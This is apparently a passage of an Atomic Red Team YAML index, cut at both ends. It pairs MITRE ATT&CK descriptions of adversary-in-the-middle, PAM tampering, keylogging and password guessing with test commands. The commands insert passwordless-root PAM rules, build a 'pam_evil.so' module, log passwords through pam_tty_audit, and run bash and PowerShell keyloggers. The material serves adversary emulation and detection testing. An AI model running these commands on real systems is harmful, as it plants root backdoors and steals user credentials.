        url: https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
      - source_name: Rhino Security Labs Enumerating AWS Roles
        description: 'Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating
          AWS Roles through ‘AssumeRole’. Retrieved April 1, 2022.'
        url: https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration
      - source_name: Staaldraad Phishing with OAuth 2017
        description: Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure.
          Retrieved October 4, 2019.
        url: https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
credential-access:
  T1557:
    technique:
      modified: '2024-04-18T14:26:21.852Z'
      name: Adversary-in-the-Middle
      description: |-
        Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)

        For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)

        Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_contributors:
      - Mayuresh Dani, Qualys
      - Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project
      - NEC
      x_mitre_deprecated: false
      x_mitre_detection: Monitor network traffic for anomalies associated with known
        AiTM behavior. Consider monitoring for modifications to system configuration
        files involved in shaping network traffic flow.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Network
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Network Traffic: Network Traffic Flow'
      - 'Service: Service Creation'
      type: attack-pattern
      id: attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d
      created: '2020-02-11T19:07:12.114Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1557
        external_id: T1557
      - source_name: dns_changer_trojans
        description: Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users
          to Threats. Retrieved October 28, 2021.
        url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats
      - source_name: volexity_0day_sophos_FW
        description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June
          15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious
          Breach. Retrieved July 1, 2022.'
        url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
      - source_name: taxonomy_downgrade_att_tls
        description: Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in
          a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application
          Protocols Using TLS. Retrieved December 7, 2021.
        url: https://arxiv.org/abs/1809.05681
      - source_name: ad_blocker_with_miner
        description: Kuzmenko, A.. (2021, March 10). Ad blocker with miner included.
          Retrieved October 28, 2021.
        url: https://securelist.com/ad-blocker-with-miner-included/101105/
      - source_name: Token tactics
        description: 'Microsoft Incident Response. (2022, November 16). Token tactics:
          How to prevent, detect, and respond to cloud token theft. Retrieved December
          26, 2023.'
        url: https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/
      - source_name: mitm_tls_downgrade_att
        description: praetorian Editorial Team. (2014, August 19). Man-in-the-Middle
          TLS Protocol Downgrade Attack. Retrieved December 8, 2021.
        url: https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/
      - source_name: Rapid7 MiTM Basics
        description: Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March
          2, 2020.
        url: https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/
      - source_name: tlseminar_downgrade_att
        description: Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved
          December 9, 2021.
        url: https://tlseminar.github.io/downgrade-attacks/
      - source_name: ttint_rat
        description: 'Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote
          Access Trojan spread through 2 0-day vulnerabilities. Retrieved October
          28, 2021.'
        url: https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1556.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Scott Knight, @sdotknight, VMware Carbon Black
      - George Allen, VMware Carbon Black
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771
      type: attack-pattern
      created: '2020-06-26T04:01:09.648Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.003
        url: https://attack.mitre.org/techniques/T1556/003
      - source_name: Apple PAM
        url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
        description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules.
          Retrieved June 25, 2020.
      - source_name: Man Pam_Unix
        url: https://linux.die.net/man/8/pam_unix
        description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June
          25, 2020.
      - source_name: Red Hat PAM
        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
        description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES
          (PAM). Retrieved June 25, 2020.
      - source_name: PAM Backdoor
        url: https://github.com/zephrax/linux-pam-backdoor
        description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June
          25, 2020.
      - source_name: PAM Creds
        url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
        description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via
          PAM backdoors & DNS requests. Retrieved June 26, 2020.
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Modify Authentication Process: Pluggable Authentication Modules'
      description: |-
        Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)

        Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)

        Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.

        Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Logon Session: Logon Session Creation'
      x_mitre_permissions_required:
      - root
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1556.003
    atomic_tests:
    - name: Malicious PAM rule
      auto_generated_guid: 4b9dde80-ae22-44b1-a82a-644bf009eb9c
      description: |
        Inserts a rule into a PAM config and then tests it.

        Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: string
          default: "/etc/pam.d/su-l"
        pam_rule:
          description: Rule to add to the PAM config.
          type: string
          default: auth sufficient pam_succeed_if.so uid >= 0
        index:
          description: Index where the rule is inserted.
          type: integer
          default: 1
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

          '
        cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}

          '
    - name: Malicious PAM rule (freebsd)
      auto_generated_guid: b17eacac-282d-4ca8-a240-46602cf863e3
      description: |
        Inserts a rule into a PAM config and then tests it.

        Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: string
          default: "/etc/pam.d/su"
        pam_rule:
          description: Rule to add to the PAM config.
          type: string
          default: auth sufficient pam_succeed_if.so uid >= 0
        index:
          description: Index where the rule is inserted.
          type: integer
          default: 8
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "" "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

          '
        cleanup_command: 'sudo sed -i "" "/#{pam_rule}/d" #{path_to_pam_conf}

          '
    - name: Malicious PAM module
      auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326
      description: |
        Creates a PAM module, inserts a rule to use it, and then tests it.

        Upon successful execution, this test will create a PAM module that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: string
          default: "/etc/pam.d/su-l"
        pam_rule:
          description: Rule to add to the PAM config.
          type: string
          default: auth sufficient /tmp/pam_evil.so
        index:
          description: Index where the rule is inserted.
          type: integer
          default: 1
        path_to_pam_module_source:
          description: Path to PAM module source code.
          type: path
          default: PathToAtomicsFolder/T1556.003/src/pam_evil.c
        path_to_pam_module:
          description: Path to PAM module object
          type: path
          default: "/tmp/pam_evil.so"
      dependencies:
      - description: 'The PAM development library must be installed to build the PAM
          module

          '
        prereq_command: 'if [ -f /usr/include/security/pam_modules.h ]; then exit
          0; else exit 1; fi;

          '
        get_prereq_command: 'if [ -n "`which apt-get`" ]; then sudo apt-get -y install
          libpam0g-dev; elif [ -n "`which yum`" ]; then sudo yum -y install pam-devel;
          fi

          '
      - description: 'The PAM module must exist on disk at specified location (#{path_to_pam_module})

          '
        prereq_command: 'if [ -f #{path_to_pam_module} ]; then exit 0; else exit 1;
          fi;

          '
        get_prereq_command: 'sudo gcc -shared -fPIC -o #{path_to_pam_module} #{path_to_pam_module_source}

          '
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

          '
        cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}

          '
  T1056.001:
    technique:
      modified: '2023-10-01T14:01:12.167Z'
      name: 'Input Capture: Keylogging'
      description: "Adversaries may log user keystrokes to intercept credentials as
        the user types them. Keylogging is likely to be used to acquire credentials
        for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
        efforts are not effective, and may require an adversary to intercept keystrokes
        on a system for a substantial period of time before credentials can be successfully
        captured. In order to increase the likelihood of capturing credentials quickly,
        an adversary may also perform actions such as clearing browser cookies to
        force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging
        is the most prevalent type of input capture, with many different ways of intercepting
        keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n*
        Hooking API callbacks used for processing keystrokes. Unlike [Credential API
        Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely
        on API functions intended for processing keystroke data.\n* Reading raw keystroke
        data from the hardware buffer.\n* Windows Registry modifications.\n* Custom
        drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601)
        may provide adversaries with hooks into the operating system of network devices
        to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device
        Attacks) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - TruKno
      x_mitre_deprecated: false
      x_mitre_detection: 'Keyloggers may take many forms, possibly involving modification
        to the Registry and installation of a driver, setting a hook, or polling to
        intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`,
        and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry
        and file system for such changes, monitor driver installs, and look for common
        keylogging API calls. API calls alone are not an indicator of keylogging,
        but may provide behavioral data that is useful when combined with other information
        such as new files written to disk and unusual processes.'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Network
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Driver: Driver Load'
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      type: attack-pattern
      id: attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4
      created: '2020-02-11T18:58:11.791Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1056/001
        external_id: T1056.001
      - source_name: Talos Kimsuky Nov 2021
        description: An, J and Malhotra, A. (2021, November 10). North Korean attackers
          use malicious blogs to deliver malware to high-profile South Korean targets.
          Retrieved December 29, 2021.
        url: https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html
      - source_name: Cisco Blog Legacy Device Attacks
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
      - source_name: Adventures of a Keystroke
        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
          look into keyloggers on Windows. Retrieved April 27, 2016.'
        url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1056.001
    atomic_tests:
    - name: Input Capture
      auto_generated_guid: d9b633ca-8efb-45e6-b838-70f595c6ae26
      description: |
        Utilize PowerShell and external resource to capture keystrokes
        [Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)
        Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)

        Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.
      supported_platforms:
      - windows
      input_arguments:
        filepath:
          description: Name of the local file, include path.
          type: path
          default: "$env:TEMP\\key.log"
      dependencies:
      - description: 'Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1") -Force | Out-Null
          Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1"
      executor:
        command: '&"$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" -LogPath
          #{filepath}

          '
        cleanup_command: 'Remove-Item $env:TEMP\key.log -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Living off the land Terminal Input Capture on Linux with pam.d
      auto_generated_guid: 9c6bdb34-a89f-4b90-acb1-5970614c711b
      description: "Pluggable Access Module, which is present on all modern Linux
        systems, generally contains a library called pam_tty_audit.so which logs all
        keystrokes for the selected users and sends it to audit.log.  All terminal
        activity on any new logins would then be archived and readable by an adversary
        with elevated privledges.\n\nPasswords hidden by the console can also be logged,
        with 'log_passwd' as in this example.  If root logging is enabled, then output
        from any process which is later started by root is also logged, even if this
        policy is carefully enabled (e.g. 'disable=*' as the initial command).\n\nUse
        'aureport --tty' or other audit.d reading tools to read the log output, which
        is binary.  Mac OS does not currently contain the pam_tty_audit.so library.
        \n"
      dependencies:
      - description: 'Checking if pam_tty_audit.so is installed

          '
        prereq_command: 'test -f ''/usr/lib/pam/pam_tty_audit.so -o  /usr/lib64/security/pam_tty_audit.so''

          '
        get_prereq_command: 'echo "Sorry, you must install module pam_tty_audit.so
          and recompile, for this test to work"

          '
      supported_platforms:
      - linux
      executor:
        command: |
          if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;
          if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;
          sudo touch /tmp/password-auth.bk
          sudo touch /tmp/system-auth.bk sudo echo "session    required    pam_tty_audit.so
          enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session    required    pam_tty_audit.so
          enable=* log_password" >> /etc/pam.d/system-auth
        cleanup_command: |
          sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth
          sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth
        name: sh
        elevation_required: true
    - name: Logging bash history to syslog
      auto_generated_guid: 0e59d59d-3265-4d35-bebd-bf5c1ec40db5
      description: "There are several variables that can be set to control the appearance
        of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents
        of these variables are executed as if they had been typed on the command line.
        The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable
        and can be configured to write the latest \"bash history\" entries to the
        syslog.\n\nTo gain persistence the command could be added to the users .bashrc
        or .bash_aliases or the systems default .bashrc in /etc/skel/ \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires to be run in a bash shell and that logger
          and tee are installed.

          '
        prereq_command: |
          if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi
          if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi
          if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed *****\n"; exit 1; fi
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")'
          echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
          tail /var/log/syslog
        cleanup_command: 'unset PROMPT_COMMAND

          '
    - name: Logging sh history to syslog/messages
      auto_generated_guid: b04284dc-3bd9-4840-8d21-61b8d31c99f2
      description: "There are several variables that can be set to control the appearance
        of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents
        of these variables are executed as if they had been typed on the command line.
        The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable
        and can be configured to write the latest \"bash history\" entries to the
        syslog.\n\nTo gain persistence the command could be added to the users .shrc
        or .profile \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires to be run in a bash shell and that logger
          and tee are installed.

          '
        prereq_command: |
          if [ "$(echo $SHELL)" != "/bin/sh" ]; then echo -e "\n***** sh not running! *****\n"; exit 1; fi
          if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          PS2=`logger -t "$USER" -f ~/.sh_history`
          $PS2
          tail /var/log/messages
        cleanup_command: 'unset PS2

          '
    - name: Bash session based keylogger
      auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258
      description: "When a command is executed in bash, the BASH_COMMAND variable
        contains that command. For example :~$ echo $BASH_COMMAND = \"echo $BASH_COMMAND\".
        The trap command is not a external command, but a built-in function of bash
        and can be used in a script to run a bash function when some event occurs.
        trap will detect when the BASH_COMMAND variable value changes and then pipe
        that value into a file, creating a bash session based keylogger. \n\nTo gain
        persistence the command could be added to the users .bashrc or .bash_aliases
        or the systems default .bashrc in /etc/skel/ \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires to be run in a bash shell

          '
        prereq_command: 'if [ "$(echo $0)" != "bash" ]; then echo -e "\n***** Bash
          not running! *****\n"; exit 1; fi

          '
        get_prereq_command: 'echo ""

          '
      input_arguments:
        output_file:
          description: File to store captured commands
          type: string
          default: "/tmp/.keyboard.log"
      executor:
        name: bash
        elevation_required: false
        command: |
          trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG
          echo "Hello World!"
          cat #{output_file}
        cleanup_command: 'rm #{output_file}

          '
    - name: SSHD PAM keylogger
      auto_generated_guid: 81d7d2ad-d644-4b6a-bea7-28ffe43becca
      description: 'Linux PAM (Pluggable Authentication Modules) is used in sshd authentication.
        The Linux audit tool auditd can use the pam_tty_audit module to enable auditing
        of TTY input and capture all keystrokes in a ssh session and place them in
        the /var/log/audit/audit.log file after the session closes.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires sshd and auditd

          '
        prereq_command: |
          if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT installed *****\n"; exit 1; fi
          if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi
        get_prereq_command: 'echo ""

          '
      input_arguments:
        user_account:
          description: Basic ssh user account for testing.
          type: string
          default: ubuntu
      executor:
        name: sh
        elevation_required: true
        command: "cp -v /etc/pam.d/sshd /tmp/\necho \"session required pam_tty_audit.so
          disable=* enable=* open_only log_passwd\" >> /etc/pam.d/sshd\nsystemctl
          restart sshd\nsystemctl restart auditd\nssh #{user_account}@localhost \nwhoami\nsudo
          su\nwhoami\nexit\nexit\n"
        cleanup_command: 'cp -fv /tmp/sshd /etc/pam.d/

          '
    - name: Auditd keylogger
      auto_generated_guid: a668edb9-334e-48eb-8c2e-5413a40867af
      description: "The linux audit tool auditd can be used to capture 32 and 64 bit
        command execution and place the command in the /var/log/audit/audit.log audit
        log. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires sshd and auditd

          '
        prereq_command: 'if [ ! -x "$(command -v auditd)" ]; then echo -e "\n*****
          auditd NOT installed *****\n"; exit 1; fi

          '
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: "auditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl
          -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start
          $(date +\"%d/%m/%y %H:%M:%S\") \n"
        cleanup_command: 'systemctl restart auditd

          '
    - name: MacOS Swift Keylogger
      auto_generated_guid: aee3a097-4c5c-4fff-bbd3-0a705867ae29
      description: |
        Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required.
        Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring.
        Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74
      supported_platforms:
      - macos
      input_arguments:
        swift_src:
          description: Location of swift script
          type: path
          default: PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift
      dependency_executor_name: bash
      dependencies:
      - description: 'swift script must exist at #{swift_src}, and the terminal must
          have input monitoring permissions.

          '
        prereq_command: 'if [ -f #{swift_src} ]; then chmod +x #{swift_src}; else
          exit 1; fi

          '
        get_prereq_command: 'echo ""

          '
      executor:
        command: 'swift #{swift_src} -keylog

          '
        cleanup_command: 'kill `pgrep swift-frontend`

          '
        name: bash
        elevation_required: false
  T1110.001:
    technique:
      modified: '2023-10-16T16:57:41.743Z'
      name: 'Brute Force: Password Guessing'
      description: |-
        Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.

        Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)

        Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:

        * SSH (22/TCP)
        * Telnet (23/TCP)
        * FTP (21/TCP)
        * NetBIOS / SMB / Samba (139/TCP & 445/TCP)
        * LDAP (389/TCP)
        * Kerberos (88/TCP)
        * RDP / Terminal Services (3389/TCP)
        * HTTP/HTTP Management Services (80/TCP & 443/TCP)
        * MSSQL (1433/TCP)
        * Oracle (1521/TCP)
        * MySQL (3306/TCP)
        * VNC (5900/TCP)
        * SNMP (161/UDP and 162/TCP/UDP)

        In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)

        In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Microsoft Threat Intelligence Center (MSTIC)
      - Mohamed Kmal
      x_mitre_deprecated: false
      x_mitre_detection: Monitor authentication logs for system and application login
        failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If
        authentication failures are high, then there may be a brute force attempt
        to gain access to a system using legitimate credentials.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119
      created: '2020-02-11T18:38:22.617Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1110/001
        external_id: T1110.001
      - source_name: Trend Micro Emotet 2020
        description: Cybercrime & Digital Threat Team. (2020, February 13). Emotet
          Now Spreads via Wi-Fi. Retrieved February 16, 2022.
        url: https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi
      - source_name: Cylance Cleaver
        description: Cylance. (2014, December). Operation Cleaver. Retrieved September
          14, 2017.
        url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
      - source_name: US-CERT TA18-068A 2018
        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
          by Cyber Actors. Retrieved October 2, 2019.
